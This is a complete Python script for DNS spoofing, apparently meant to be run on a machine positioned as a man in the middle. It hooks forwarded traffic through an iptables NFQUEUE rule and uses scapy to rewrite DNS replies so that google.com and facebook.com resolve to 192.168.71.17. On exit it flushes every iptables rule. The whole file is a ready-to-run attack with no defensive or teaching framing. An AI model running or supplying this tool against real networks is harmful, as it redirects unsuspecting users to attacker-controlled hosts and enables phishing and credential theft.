from scapy.all import *
from netfilterqueue import NetfilterQueue
import os
dns_hosts = {
b"www.google.com.": "192.168.71.17",
b"google.com.": "192.168.71.17",
b"facebook.com.": "192.168.71.17"
}
def process_packet(packet):
# convert netfilter queue packet to scapy packet
scapy_packet = IP(packet.get_payload())
if scapy_packet.haslayer(DNSRR):
# if the packet is a DNS Resource Record (DNS reply) modify the packet
print("[Before]:", scapy_packet.summary())
qname = scapy_packet[DNSQR].qname
if qname in dns_hosts:
scapy_packet[DNS].an = DNSRR(rrname=qname, rdata=dns_hosts[qname])
# set the answer count to 1
scapy_packet[DNS].ancount = 1
# delete checksums and length of packet, because we have modified the packet
# new calculations are required ( scapy will do automatically )
del scapy_packet[IP].len
del scapy_packet[IP].chksum
del scapy_packet[UDP].len
del scapy_packet[UDP].chksum
print("[After ]:", scapy_packet.summary())
# set back as netfilter queue packet
packet.set_payload(bytes(scapy_packet))
# accept the packet
packet.accept()
QUEUE_NUM = 0
# insert the iptables FORWARD rule
os.system("iptables -I FORWARD -j NFQUEUE --queue-num {}".format(QUEUE_NUM))
# instantiate the netfilter queue
queue = NetfilterQueue()
try:
# bind the queue number to our callback `process_packet`
# and start it
queue.bind(QUEUE_NUM, process_packet)
queue.run()
except KeyboardInterrupt:
# if want to exit, make sure we
# remove that rule we just inserted, going back to normal.
os.system("iptables --flush")